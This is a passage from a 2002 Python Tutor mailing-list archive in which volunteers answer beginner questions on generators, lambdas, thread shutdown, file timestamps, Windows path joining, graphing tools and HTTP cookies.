'((1) 2 (3 (4 ((5))))))) > (g) 1 > (g) 2 > (g) 3 > (g) 4 > (g) 5 > (g) () ### So even if the code is complicated, it's still pretty useful! It allows us to look at any nested list as if it were flattened, so that we can write a fringe function almost casually. For fun, I wrote an equivalent generator in Python: ### from __future__ import generators def tree_generator(tree): if tree == []: raise StopIteration if isinstance(tree, list): for branch in tree: for element in tree_generator(branch): yield element else: yield(tree) ### I don't think this is so bad, but I admit it's still a little tricky. But it works! Here's the generator in action: ### >>> g = tree_generator([[1], 2, [3, [4, [[5]]]]]) >>> g.next() 1 >>> g.next() 2 >>> g.next() 3 >>> g.next() 4 >>> g.next() 5 >>> g.next() Traceback (most recent call last): File "", line 1, in ? StopIteration ### Generators are a lot of fun to play with, and they do appear to allow us to do things that would be difficult to do otherwise. At the same time, I'm also somewhat relieved that we don't have continuations in Python, as these things are just evil! *grin* Anyway, I hope this was interesting! From dyoo@hkn.eecs.berkeley.edu Tue Feb 5 05:37:53 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 4 Feb 2002 21:37:53 -0800 (PST) Subject: [Tutor] Linking against python21_d.lib instead of python21.lib In-Reply-To: <3C5E4BA4.9050800@gmx.de> Message-ID: On Mon, 4 Feb 2002, Keule wrote: > Hi ! >=20 > i get the following error from VC++ : >=20 > Linker-Vorgang l=E4uft... > LINK : fatal error LNK1104: Datei "python21_d.lib" kann nicht geoeffnet= =20 > werden > Fehler beim Ausf=FChren von link.exe. >=20 > examplec.dll - 1 Fehler, 0 Warnung(en) >=20 > so it seems, that VC++ tries to link the python21_d.lib file instead > of the python21.lib file. i thought, that i already deactivated all > debug informations in the compiler. Have anyone got an idea, where i > can find these option ? Here's a message that explains the situation: http://aspn.activestate.com/ASPN/Mail/Message/python-list/779867 One of your debugging flags in VC++ is still set from Debug to Release. Hope this helps! From wheelege@hotmail.com Tue Feb 5 06:12:27 2002 From: wheelege@hotmail.com (Glen Wheeler) Date: Tue, 5 Feb 2002 17:12:27 +1100 Subject: [Tutor] Lambda References: <00a901c1adf4$e8b53620$2bb4acce@hppav> Message-ID: Hi Greg, Sure thing. I myself really like lambdas...here is not one line, but I hope it helps shed some light - >>> def multiply(a,b): ... return a*b ... >>> for i in range(5): ... print multiply(i,2) ... 0 2 4 6 8 That should be easy to understand, although you may think it a little weird that I wrote multiply(i,2) instead of i*2. But what this does is applies the function multiply (with the second parameter as 2) over the sequence range(5) - obviously doubling every number in the sequence. Here is the same thing but with a lambda - >>> for i in range(5): ... print (lambda x,y:x*y)(i,2) ... 0 2 4 6 8 The whole function object is contained in (lambda x,y:x*y). This is horribly inefficient, but still it's a learning exercise. Here is something similar using a very cool function called map - >>> map(lambda x:x*2, range(5)) [0, 2, 4, 6, 8] Try typing that into the interactive interpreter. What that line says is 'apply the function 'lambda x:x*2' to the sequence 'range(5)'. All that means is double each element. Donb't worry if you don't get the map - that was just a little extra bit :) Good luck! Glen ----- Original Message ----- From: "Greg Guest" To: Sent: Tuesday, February 05, 2002 1:28 PM Subject: [Tutor] Lambda Hi everyone, Emboldened by Jeff Shannon's remark of a couple of weeks ago that he finds lambdas counterintuitive, I ask my first question to the tutor. I not only find them counterintuitive, but can't even figure out what they do in a line of code. I would be grateful if someone could translate a line using lambda into one that doesn't. I've been reading the tutor for a couple of months now, and find it a wonderful place. The threads on Classes have helped me a lot. TIA Greg Guest A Palindrome: Straw? No, too stupid a fad. I put soot on warts. __________________________________________________________ Get Premium UNLIMITED Internet Access across CANADA for JUST $9.95/MONTH at http://www.get3web.com/?mkid=t123 From toodles@yifan.net Tue Feb 5 06:43:53 2002 From: toodles@yifan.net (Andy W) Date: Tue, 5 Feb 2002 14:43:53 +0800 Subject: [Tutor] Lambda References: <00a901c1adf4$e8b53620$2bb4acce@hppav> Message-ID: <003601c1ae10$7b9ab210$3100a8c0@sun> > I not only find them counterintuitive, but can't even figure out what they do in a line of code. I would be grateful if someone could translate a line using lambda > into one that doesn't. Really all lambda does is create an unnamed function. So now you can define a function using "def" or by using lambda. Say you want a simple function: def add(x,y): return x+y This can be done using a lambda as follows: lambda x,y: x+y Now we have a basic function object that can be assigned to a name. The lambda syntax is "lambda arg1,arg2,...argn: expression", expression will be evaluated and returned from the function. So just to go over the example again, we now can do: add = lambda x,y: x+y add = lambda x,y: x+y ^^ ^^ ^^ variable name which will arguments to pass in the expression to be evaluated and returned now refer to the function I hope this clears up lambdas for you, if even only a little bit. Andy ----- Original Message ----- From: Greg Guest To: tutor@python.org Sent: Tuesday, February 05, 2002 10:28 AM Subject: [Tutor] Lambda Hi everyone, Emboldened by Jeff Shannon's remark of a couple of weeks ago that he finds lambdas counterintuitive, I ask my first question to the tutor. I not only find them counterintuitive, but can't even figure out what they do in a line of code. I would be grateful if someone could translate a line using lambda into one that doesn't. I've been reading the tutor for a couple of months now, and find it a wonderful place. The threads on Classes have helped me a lot. TIA Greg Guest A Palindrome: Straw? No, too stupid a fad. I put soot on warts. ____________________________________________________________ Get Premium UNLIMITED Internet Access across Canada for JUST $9.95/MONTH at http://www.get3web.com/?mkid=emt123 From toodles@yifan.net Tue Feb 5 06:50:01 2002 From: toodles@yifan.net (Andy W) Date: Tue, 5 Feb 2002 14:50:01 +0800 Subject: [Tutor] Lambda References: <00a901c1adf4$e8b53620$2bb4acce@hppav> <003601c1ae10$7b9ab210$3100a8c0@sun> Message-ID: <004201c1ae11$56c98910$3100a8c0@sun> > add = > lambda x,y: x+y > ^^ > ^^ ^^ > variable name which will > arguments to pass in the expression to be evaluated and returned > now refer to the function Ew, it got all squashed. > add = lambda x,y: x+y add = ^^ variable name which will now refer to the function lambda ^^ keyword... x,y: ^^ arguments to be passed in x+y ^^ expression to be evaluated and returned From lonetwin@yahoo.com Tue Feb 5 07:07:41 2002 From: lonetwin@yahoo.com (lonetwin) Date: Tue, 5 Feb 2002 12:37:41 +0530 Subject: [Tutor] [Q] about threads ...waiting :( In-Reply-To: <20020204190714.B16951@tor.dhs.org> References: <02020411080702.06205@mercury.worli> <20020204190714.B16951@tor.dhs.org> Message-ID: <02020512374101.01506@mercury.worli> Hi Jeff, Blake, Thanx for replying, On Tuesday 05 February 2002 05:37, Blake Winton wrote: > * lonetwin [020204 00:42]: > > > I tried placing try-except blocks at different places, but all I got > > > done was exit the thread and print the message, somehow the other > > > threads were quite comfortable with the fact that one of them is dead, > > > they just go about their own business as though nothing has happened > > > ... > > Having thought about this a little bit, I can tell you what I do in > Java. Have a "ThreadMonitor" class, that gets passed in to each of your > TestApp classes. Then, when you get the KeyboardInterrupt exception, > set a boolean flag in the ThreadMonitor (something like > "everybodyExitNow"), and in your TestApp class, at various points, check > the value of the "everybodyExitNow" flag, and if it gets set to true, > exit the function. It's not the cleanest way to do things, but it seems > to get the job done, and it lets the various threads clean up after > themselves, which is nice. Right-O, in fact that's kinda what Kartik suggested. However instead of a ThreadMonitor class, he initialized a flag within the __init__ for each thread, which gets checked every once in a while, when a KeyboardInterrupt is raised, a handler sets the flag for all the threads. It's so simple I feel dumb I didn't think about it myself (I said that once already (last post), saying it again just makes me feel dumber !!! :) ) Also, Jeff, thanx for the tip of using a threading.event object, It's like doing the same thing, using a feature that's built-in. I guess that's the way I'll go. > By and large, it's a good thing for each thread to now care that another > thread dies. No, really... ;) Yeah, was aware of that, only it seemed like ..ehe ...not a nice thing :) Thanx A bunch, all u guys Peace Steve -- "Out of register space (ugh)" -- vi From shalehperry@attbi.com Tue Feb 5 07:04:34 2002 From: shalehperry@attbi.com (Sean 'Shaleh' Perry) Date: Mon, 04 Feb 2002 23:04:34 -0800 (PST) Subject: [Tutor] Lambda In-Reply-To: <00a901c1adf4$e8b53620$2bb4acce@hppav> Message-ID: > > I not only find them counterintuitive, but can't even figure out what they do > in a line of code. I would be grateful if someone could translate a line > using lambda into one that doesn't. > Let's use an easy example. >>> f = lambda x,y: max(x,y) >>> f(2,4) 4 lambda simply declares a function, like def does. The difference being that lambdas may only contain expressions, so 'print' is not allowed. The above code assigns the function that lambda creates to f and we then use f to call the function. lambdas are really useful for callbacks in GUI programming. Often in C++ I find myself defining a function just so it can be called by an event. As other posters will no doubt show, they are also handy for map, filter, reduce and friends. >>> l = [1,2,3,4,5,6,7,8] >>> reduce(f, l) 8 Uses the lambda I created above. reduce() passes the first two elements of the list to the function, keeps the return value and passes in the next element of the list. Often you see people sum lists with it. This is another interesting use. def reduce(func, container): holder = container[0] for i in container[1:]: holder = func(holder, i) return holder is a possible implementation of the reduce() function from python. That 'func' operator would have to be delcared elsewhere, maybe only to be used one time. From idiot1@netzero.net Tue Feb 5 07:09:48 2002 From: idiot1@netzero.net (kirk Bailey) Date: Tue, 05 Feb 2002 02:09:48 -0500 Subject: [Tutor] Website update Message-ID: <3C5F853C.B841E49D@netzero.net> Updated. Added images. Changed layout and text somewhat. 1.1.3 is being tested now, added in program feature to place a 1 line footer: 'powered by TinyList! http://www.tinylist.org/' which is causing me to wonder if it should be optional, switched on/off by a file or somethign... nahhhh.... well?.... Anyone looking at this thing and got somewhat to suggest on it, write me. mailto:idiot1@netzero.net -- -Respectfully, -Kirk D Bailey Consulting Loose Cannon end www.howlermonkey.net highprimate@howlermonkey.net www.sacredelectron.org idiot1@netzero.net www.tinylist.org grumpy@tinylist.org ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From urnerk@qwest.net Tue Feb 5 07:14:25 2002 From: urnerk@qwest.net (Kirby Urner) Date: Mon, 04 Feb 2002 23:14:25 -0800 Subject: [Tutor] Lambda In-Reply-To: <00a901c1adf4$e8b53620$2bb4acce@hppav> Message-ID: <4.2.0.58.20020204225656.00c89400@pop3.norton.antivirus> Ditto the previous examples. Plus: here's without lambda -- yer basic function: >>> def concat(a,b): return a + b >>> concat('A','C') 'AC' And here's with, though in a way you wouldn't normally see it: >>> concat = lambda a,b: a+b >>> concat('A','C') 'AC' This just shows that lambda is setting up the basic elements of a function: parameters, what to do with them. It can't be very fancy because Python's lambdas can't go on for lotsa lines -- just a way to do quicky stuff. So why use 'em? Well, if you want to do some quickie thing, it can seem a waste to go to all the trouble to define a function, give it a name, the whole nine yards. All you really want is to do the thing, then throw it away. No need to memorialize the thing with a name. To borrow a slogan, a lambda means "Just Do It". So the typical thing is to use it wherever you could use a function. Take the original concat: def concat(a,b): return a + b Now I distribute it over some parameters. concat wants two parameters, and what map(function,list1,list2) will do is grab one parameter from each of the following lists -- so they'd better have the same number of elements: >>> map(concat,['c','b','f'],['at']*3) ['cat', 'bat', 'fat'] But if I didn't want to bother with naming concat ahead of time, I could do all of the above using a lambda, making the function part of map(function,list1,list2) contain an "anonymous function": >>> map(lambda a,b: a+b, ['c','b','f'],['at']*3) ['cat', 'bat', 'fat'] A variation on the theme: >>> apply(lambda a,b: a+b, ('c','at')) 'cat' And now, for something completely silly: >>> map(lambda z: apply(lambda a,b: a+b, z),zip(['f','c'],['at','at'])) ['fat', 'cat'] Kirby From csmith@blakeschool.org Tue Feb 5 07:35:06 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Tue, 05 Feb 2002 01:35:06 -0600 Subject: [Tutor] cls(),inkey(),prompt() Message-ID: I have written 3 function for MacPython IDE (Carbon) which allow 1) clearing of the output window with the cls() command 2) polling the keyboard (like BASIC's inkey$() command) 3) prompting and viewing user input on the output window rather than in a separate dialog box as is generated with input() and raw_input(). All together they come to 50 lines. If there is interest I can post them here or send them to interested individuals who contact me at this address. One thing I don't know how to do, and would appreciate some help on, is bringing the output window to the foreground (i.e. making it active) so the user input to the prompt can be seen in case the output window is initially behind the script window. /c From wheelege@hotmail.com Tue Feb 5 11:13:56 2002 From: wheelege@hotmail.com (Glen Wheeler) Date: Tue, 5 Feb 2002 22:13:56 +1100 Subject: [Tutor] Experiments with generators, part deux [flattened lists, Scheme, and Python] References: Message-ID: > [snip!] > > Anyway, I hope this was interesting! > > Indeed it is, very much so! I am still totally confused by the scheme code, but ah well - I've got to learn scheme eventually, maybe I'll flip back to this e-mail then. I really liked your python conversion, as I could understand that even if it was tricky. Generators sure are cool :) From greg.guest@3web.net Tue Feb 5 12:03:32 2002 From: greg.guest@3web.net (Greg Guest) Date: Tue, 5 Feb 2002 07:03:32 -0500 Subject: [Tutor] Lambdas Message-ID: <001c01c1ae3d$22fb09c0$bab4acce@hppav> This is a multi-part message in MIME format. ------=_NextPart_000_0019_01C1AE13.38E79FC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Thanks everyone, that cleared up my confusion. You all are great =3D) Greg Guest __________________________________________________________ Get Premium UNLIMITED Internet Access across CANADA for JUST $9.95/MONTH at http://www.get3web.com/?mkid=emt123 ------=_NextPart_000_0019_01C1AE13.38E79FC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Thanks everyone,
 
that cleared up my confusion.  You = all are=20 great =3D)
 
Greg Guest



____________________________________________________________
Get Premium UNLIMITED Internet Access across Canada for
JUST $9.95/MONTH at http://www.get3web.com/?mkid=3Demt123
------=_NextPart_000_0019_01C1AE13.38E79FC0-- From overlord@netdoor.com Tue Feb 5 16:49:29 2002 From: overlord@netdoor.com (Jim Ragsdale) Date: Tue, 5 Feb 2002 10:49:29 -0600 Subject: [Tutor] reading file creation date and xreadlines from a pointin the middle of a file References: Message-ID: <018c01c1ae65$1c56e030$8cd91282@echo6> [Danny Yoo] Your class looks promising, Im going to experiment w/ it for a while. Thanks! ----- Original Message ----- From: "Danny Yoo" To: "Jim Ragsdale" Cc: "Python Tutor Mailing List" Sent: Monday, February 04, 2002 8:37 PM Subject: Re: [Tutor] reading file creation date and xreadlines from a pointin the middle of a file > On Mon, 4 Feb 2002, Jim Ragsdale wrote: > > > I have looked around and have not found a way (that I could > > understand) to read the creation date of a file. Does anyone know how > > to do it? Not necessary but cross platform would be nice. win32 is the > > target. > > > There are actually two functions in os.path called getatime() and > getmtime, respectively for "access" and "modification" times: > > http://www.python.org/doc/lib/module-os.path.html > > os.path.getmtime() is probably what you're looking for: > > ### > >>> os.path.getmtime('/var/mail/dyoo') > 1012873750 > >>> from time import localtime > >>> localtime(os.path.getmtime('/var/mail/dyoo')) > (2002, 2, 4, 17, 49, 10, 0, 35, 0) > ### > > > I'm not sure if the system maintains a "creation" time flag, as it's sorta > arguable that modification is similar to creation. Perhaps someone else > may be able to find out about this? > > > > > Another question: I am using xreadlines. How do I start reading at a > > specified line in a file? > > xreadlines() might not be an appropriate function because it assumes you > want to read through the file sequentially, one line at a time. If we > suck up the whole file as a list of lines by using readlines(), we can > grab any line by doing an array index, so readlines() is probably a better > choice. > > > I've written a quicky RandomFile class that I think might be more > memory-efficient if you're concerned about memory usage: > > http://aspn.activestate.com/ASPN/Mail/Message/989629 > > > Good luck to you! > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor From danny@intuitivemedia.com Tue Feb 5 17:33:39 2002 From: danny@intuitivemedia.com (Danny Ruttle) Date: Tue, 05 Feb 2002 17:33:39 +0000 Subject: [Tutor] os.path.join on windows 2000 Message-ID: <5.1.0.14.0.20020205152246.00ae8a98@mail.intuitivemedia.com> I have a class which parses the contents of one file and writes to another file - here's a snippet of the constructor: class line_parser: def __init__(self, base_dir, in_file, out_file): self.handle = open(os.path.join(base_dir,in_file),"r") Here's the calling line: if __name__ == "__main__": my_instance = line_parser("c:/site_root","s.txt","test1.txt") Here's the error raised in Windows 2000 Pro: Traceback (most recent call last): File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py", line 301, in RunScript exec codeObject in __main__.__dict__ File "C:\Python21\database\pg_extract.py", line 58, in ? first = line_parser("c:/test","s.txt","test1.txt") File "C:\Python21\database\pg_extract.py", line 10, in __init__ self.handle = open(os.path.join(base_dir,in_file),"r") IOError: [Errno 2] No such file or directory: 'c:/test\\s.txt' I'm using ActiveState with Python version 2.1.1. If I run the code in windows 98 using the same version of ActiveState Python everything works fine. Note that I'm using forward slashes since the application I'm developing needs to work on Unix and Windows. I've tried setting the os.sep variable to '/' but this did not work. I've also tried using '\\' as a directory separator and this has no effect. It seems this is a bug in the Win2k implementation. Has anyone come across this problem? BTW: I am using FAT32 File system. I created the site_root directory logged in as danny and also installed PythonWin (I am a member of Administrators). thanks Dann-o From kp87@lycos.com Tue Feb 5 03:50:37 2002 From: kp87@lycos.com (kevin parks) Date: Tue, 05 Feb 2002 12:50:37 +0900 Subject: [Tutor] How do I get Python on Mac? Message-ID: >Back before I turned to the dark side (November 1997), I was a Mac >person; at that time, Alladin's Stuffit was the most common solution to >that problem. If you have an old mac running an old system, you might >try searching for "stuffit 1.5.1"; I'm not 100% on what sort of license >old stuffits have/had (I seem to recall them being shareware, but >wouldn't bet money on that). Also, I'm not sure what version of Python >you will be able to use--how old is an "old mac"? Is it a 68000 (ie, are >you probably s.o.l.?)? 68040? PPC? Yes, Stuffit lite should be your ticket. Try www.versiontracker.com and search for Stuffit. A bit more information about your system would help. Here's another idea: Get a book like a Chun's Core Python Programming which has a CD-Rom with all the major Python distributions on it. It is a little out of date but not too much. But that assumes that you have a CD-Rom on your system. From lumbricus@gmx.net Tue Feb 5 11:40:04 2002 From: lumbricus@gmx.net (=?ISO-8859-1?Q?J=F6rg_W=F6lke?=) Date: Tue, 5 Feb 2002 12:40:04 +0100 (MET) Subject: [Tutor] reading file creation date and xreadlines from a point in the middle of a file References: Message-ID: <8305.1012909204@www60.gmx.net> > On Mon, 4 Feb 2002, Jim Ragsdale wrote: > > > I have looked around and have not found a way (that I could > > understand) to read the creation date of a file. Does anyone know how > > to do it? Not necessary but cross platform would be nice. win32 is the > > target. [ snip ] > I'm not sure if the system maintains a "creation" time flag, No, it does not. > > Good luck to you! > HTH, HAND and Greetings J"o! -- hallo, da ich morgen einem, mir unbekanntem, user root-zugriff auf meinem FreeBSD router gebe, wollte ich mal nachfragen, wie ich den am besten (in echtzeit) ueberwache. -- Ulrich Spoerlein in de.comp.os.unix.bsd -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net From Benjamin.Schollnick@usa.xerox.com Tue Feb 5 12:59:43 2002 From: Benjamin.Schollnick@usa.xerox.com (Schollnick, Benjamin) Date: Tue, 05 Feb 2002 07:59:43 -0500 Subject: [Tutor] RE: [Pythonmac-SIG] cls(),inkey(),prompt() Message-ID: Certainly.... I would definitely have a use for those routines. - Benjamin -----Original Message----- From: Christopher Smith [mailto:csmith@blakeschool.org] Sent: Tuesday, February 05, 2002 2:35 AM To: pythonmac-sig@python.org Cc: tutor@python.org Subject: [Pythonmac-SIG] cls(),inkey(),prompt() I have written 3 function for MacPython IDE (Carbon) which allow 1) clearing of the output window with the cls() command 2) polling the keyboard (like BASIC's inkey$() command) 3) prompting and viewing user input on the output window rather than in a separate dialog box as is generated with input() and raw_input(). All together they come to 50 lines. If there is interest I can post them here or send them to interested individuals who contact me at this address. One thing I don't know how to do, and would appreciate some help on, is bringing the output window to the foreground (i.e. making it active) so the user input to the prompt can be seen in case the output window is initially behind the script window. /c _______________________________________________ Pythonmac-SIG maillist - Pythonmac-SIG@python.org http://mail.python.org/mailman/listinfo/pythonmac-sig From ak@silmarill.org Tue Feb 5 13:53:55 2002 From: ak@silmarill.org (Andrei Kulakov) Date: Tue, 5 Feb 2002 08:53:55 -0500 Subject: [Tutor] Re: Tutor digest, Vol 1 #1401 - 2 msgs In-Reply-To: References: Message-ID: <20020205135355.GA29402@ak.silmarill.org> On Mon, Feb 04, 2002 at 01:35:16PM -0800, Steve Rogers wrote: > > > > > > Message: 1 > > Date: Mon, 04 Feb 2002 17:19:22 +0100 > > From: "ingo" > > To: tutor@python.org > > Subject: Re: [Tutor] graphing with Python > > > >> So, I would like to hear your recommendations for a graphing package > > for Python. > > > > It may be overkill, but I prefer to do most visualisations with > > POV-Ray. Kirby Urner has some scripts on his site to connect the two. > > > > Ingo > > hi ingo, > could you give us the url? thanks. > steve www.povray.org (found with google.com) -- Cymbaline: intelligent learning mp3 player - python, linux, console. get it at: cy.silmarill.org From kjphotog@juno.com Tue Feb 5 15:13:00 2002 From: kjphotog@juno.com (kjphotog@juno.com) Date: Tue, 5 Feb 2002 07:13:00 -0800 Subject: [Tutor] Re: Tutor digest, Vol 1 #1403 - 13 msgs Message-ID: <20020205.082057.-170603.2.kjphotog@juno.com> Subject: Re: [Tutor] NEWBIE looking for help Many of those Python how-to books Erik & Danny recommended are available for free from your library. Check IT out! I have a pile of Python books right now that I've checked out. ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/web/. From virketis@fas.harvard.edu Tue Feb 5 19:49:02 2002 From: virketis@fas.harvard.edu (Pijus Virketis) Date: Tue, 5 Feb 2002 14:49:02 -0500 Subject: [Tutor] cellular automata Message-ID: <005301c1ae7e$29a7f530$18adf78c@virketis2> This is a multi-part message in MIME format. ------=_NextPart_000_0050_01C1AE54.40BB09D0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi,=20 has anyone seen any scripts in Python to play around with cellular = automata? I am just learning about them, so almost anything would be = interesting to see as an example.=20 Cheers,=20 Pijus ------=_NextPart_000_0050_01C1AE54.40BB09D0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi,
 
has anyone seen any scripts in Python = to play=20 around with cellular automata? I am just learning about them, so almost = anything=20 would be interesting to see as an example.
 
Cheers,
 
Pijus
------=_NextPart_000_0050_01C1AE54.40BB09D0-- From virketis@fas.harvard.edu Tue Feb 5 19:55:24 2002 From: virketis@fas.harvard.edu (Pijus Virketis) Date: Tue, 5 Feb 2002 14:55:24 -0500 Subject: [Tutor] graphing with Python References: <20020205135355.GA29402@ak.silmarill.org> Message-ID: <006b01c1ae7f$0d5553e0$18adf78c@virketis2> I found this site with a lecture by Kirby Urner about some basic calculus and graphing with POVray: http://www.inetarena.com/~pdx4d/ocn/precalc.html That stuff looks to be quite fun. However, I think for my purposes, POVray is a bit too involved, and serious overkill. Are there smaller packages out there? All I need is to quickly plot e**sin(n) and things of that sort, not industrial strenght graphing. Cheers, Pijus ----- Original Message ----- From: "Andrei Kulakov" To: Sent: Tuesday, February 05, 2002 8:53 AM Subject: Re: [Tutor] Re: Tutor digest, Vol 1 #1401 - 2 msgs > On Mon, Feb 04, 2002 at 01:35:16PM -0800, Steve Rogers wrote: > > > > > > > > > > Message: 1 > > > Date: Mon, 04 Feb 2002 17:19:22 +0100 > > > From: "ingo" > > > To: tutor@python.org > > > Subject: Re: [Tutor] graphing with Python > > > > > >> So, I would like to hear your recommendations for a graphing package > > > for Python. > > > > > > It may be overkill, but I prefer to do most visualisations with > > > POV-Ray. Kirby Urner has some scripts on his site to connect the two. > > > > > > Ingo > > > > hi ingo, > > could you give us the url? thanks. > > steve > > www.povray.org (found with google.com) > > -- > Cymbaline: intelligent learning mp3 player - python, linux, console. > get it at: cy.silmarill.org > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor From SWidney@ci.las-vegas.nv.us Tue Feb 5 20:03:58 2002 From: SWidney@ci.las-vegas.nv.us (Scott Widney) Date: Tue, 5 Feb 2002 12:03:58 -0800 Subject: [Tutor] Problem with module Message-ID: > -----Original Message----- > From: Lloyd Kvam [mailto:pythontutor@venix.com] > Sent: Saturday, February 02, 2002 4:43 PM > To: Alistair McGowan > Cc: tutor@python.org > Subject: Re: [Tutor] Problem with module > > > def c(p): > spy = 60*60*24*365.2422 > n = long (spy)*long (p) > return n > > if __name__ == "__main__" : > n = c(186000) > print n > There's also the "Run as __main__" option that has to be set. I'm not in front of a Mac right now, but I believe it's in a drop down menu on the right margin of the editor window. You may have already done that, but since you didn't mention it, I wanted to bring it up. Scott From seedseven@home.nl Tue Feb 5 20:16:11 2002 From: seedseven@home.nl (ingo) Date: Tue, 05 Feb 2002 21:16:11 +0100 Subject: [Tutor] graphing with Python In-Reply-To: References: Message-ID: <200202052116110718.00B76E6F@mail> On 2002/02/04 at 13:35 Steve Rogers wrote: >> It may be overkill, but I prefer to do most visualisations with >> POV-Ray. Kirby Urner has some scripts on his site to connect the two. > >could you give us the url? thanks. > http://www.inetarena.com/~pdx4d/ocn/numeracy0.html http://www.povray.org If you're into math stuff, have a look at Isosurfaces and userdefined functions in version 3.5 (still in beta). The 3.5 doc: http://www.povray.org/working-docs/ Ingo From SWidney@ci.las-vegas.nv.us Tue Feb 5 21:46:03 2002 From: SWidney@ci.las-vegas.nv.us (Scott Widney) Date: Tue, 5 Feb 2002 13:46:03 -0800 Subject: [Tutor] help? Message-ID: > -----Original Message----- > From: Tim Wilson [mailto:wilson@isis.visi.com] > On Sun, 3 Feb 2002, Callum Golding wrote: > > > I'm sorry to bother you, but i was wondering if you could > > give me a little advice. I've recently downloaded Python 2.2. > > Ive read a begginers guide to programming and tried creating > > a small program, I used the input function. Now as soon as I > > open the program it goes into dos and asks me the question, > > and when i type in an anwser, dos shuts down. Now its really > > starting to bug me. If you could give me some advice I would > > be real grateful. The program I wrote is below; - > > It's no bother. The problem is that the DOS window is closing > immediately upon your program exiting. Annoying, isn't it. :-) > > One way to "fix" this is to add an input line at the end of > your program > like this: > > end = raw_input("Press a key to end...") > > This will leave the window open until you press a key. > > -Tim Another way to approach it is from the OS side. If you're using WinNT/2K/XP, you can achieve the same effect using drag-and-drop with a batch file (I'm assuming you're double-clicking on the .py file). It's a small one-liner, so you could keep a copy in as many directories as you want. And just drop the file you want to run onto the .bat file. ## cmd.exe /k "C:\python21\python.exe %1" ## The "/k" option tells cmd.exe to stay open after it has run the string following it. In this case it's the Python interpreter, which gets passed the expansion of "%1", which in drag-and-drop land is the name of the file that got dropped (The quotes protect any spaces in the pathnames). Win95/98 users could use: ## command.com /c "C:\python21\python.exe %1" pause ## This way, you're not adding something to your program just to cater to the peculiarities one OS (something to consider if you're doing cross-platform work). It's one less thing to clean up! Hope that helps! Scott From urnerk@qwest.net Tue Feb 5 22:05:23 2002 From: urnerk@qwest.net (Kirby Urner) Date: Tue, 05 Feb 2002 14:05:23 -0800 Subject: [Tutor] graphing with Python In-Reply-To: <006b01c1ae7f$0d5553e0$18adf78c@virketis2> References: <20020205135355.GA29402@ak.silmarill.org> Message-ID: <4.2.0.58.20020205140214.019ed150@pop3.norton.antivirus> At 02:55 PM 2/5/2002 -0500, Pijus Virketis wrote: >I found this site with a lecture by Kirby Urner about some basic >calculus and graphing with POVray: > >http://www.inetarena.com/~pdx4d/ocn/precalc.html > >That stuff looks to be quite fun. However, I think for my purposes, >POVray is a bit too involved, and serious overkill. Are there >smaller packages out there? All I need is to quickly plot e**sin(n) >and things of that sort, not industrial strenght graphing. > >Cheers, > >Pijus Yes, much as I appreciate the positive reviews of my Povray-based approach, I think you'll find other tools that do the quick and dirty graphing thing more easily. The Povray approach I use makes sense because, whereas I do graphs, I also do polyhedra and such, i.e. take advantage of the spatial geometry aspects of ray tracing. Graphs of the kind you're talking about are flat. I'd be interested in what others suggest as well. As I recall, VPython has a graphing function built in -- VPython being a way to interface directly with OpenGL inside a Tk window. Kirby From printers@sendme.cz Tue Feb 5 22:25:14 2002 From: printers@sendme.cz (A) Date: Tue, 5 Feb 2002 23:25:14 +0100 Subject: [Tutor] Is anyone capable of explaining ? Message-ID: <3C6069DA.18895.92952C@localhost> Can anybody please answer the following question? Question: How does web browser know what cookies should be sent to server as a response? For example I found out that a server sets 2 cookies __cookie_client_data__=Uglv3rXE+d73YaYUuxoh/sDKsJ t98itBb/hg2fFwFvHeEabkpKICibilujHZm and __cookie_temp_client_data__=aZNjw12D5JMrduWikHGk+ 2pythOqr but browser, as a response,sends only __cookie_temp_client_data__ Here is a part of communication between server and a client ##################first SERVER ################# HTTP/1.1 200 OK - [54-68] Date: Mon, 04 Feb 2002 15:14:45 GMT - [71-105] Server: Apache/1.3.19 (Unix) Resin/1.1 - [108- 145] Cache-Control: no-cache="set-cookie,set- cookie2" - [148-195] Expires: Thu, 01 Dec 1994 16:00:00 GMT - [198- 235] Set-Cookie: cookie_check=null;Path=/bin/user;Version=1 - [238-291] Set-Cookie: __cookie_client_data__=Uglv3rXE+d73YaYUuxoh/sDKsJ t98itBb/hg2fFwFvHeEabkpKICibilujHZm ... - [294- 483] 104 - [294-484] Set-Cookie: __cookie_temp_client_data__=aZNjw12D5JMrduWikHGk+ 2pythOqr ###########and CLIENT################# ----- HTTP Client Request ----- - [54-589] [536 byte(s) of data] GET /html.ng/Site=English&Column=home&Category=/&BizN ature=1&Province=&Position=1&Country=CZ&Ima ... - [54-189] Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, appl ... - [192-332] Referer: http://www.alibaba.com/bin/user/signin - [335-381] Accept-Language: cs - [384-402] User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90) - [405-475] Host: ad3.alibaba.com - [478-498] Connection: Keep-Alive - [501-522] 65 - [501-523] Cookie: __cookie_temp_client_data__=aZNjw12D5JMrduWikHGk+ 2pythOqr ################# end################# Thank you for explanation. Ladislav From SWidney@ci.las-vegas.nv.us Tue Feb 5 22:52:01 2002 From: SWidney@ci.las-vegas.nv.us (Scott Widney) Date: Tue, 5 Feb 2002 14:52:01 -0800 Subject: [Tutor] os.path.join on windows 2000 Message-ID: > -----Original Message----- > From: Danny Ruttle [mailto:danny@intuitivemedia.com] > I have a class which parses the contents of one file and > writes to another file - here's a snippet of the constructor: > > class line_parser: > def __init__(self, base_dir, in_file, out_file): > > self.handle = open(os.path.join(base_dir,in_file),"r") > > > > Here's the calling line: > > if __name__ == "__main__": > my_instance = 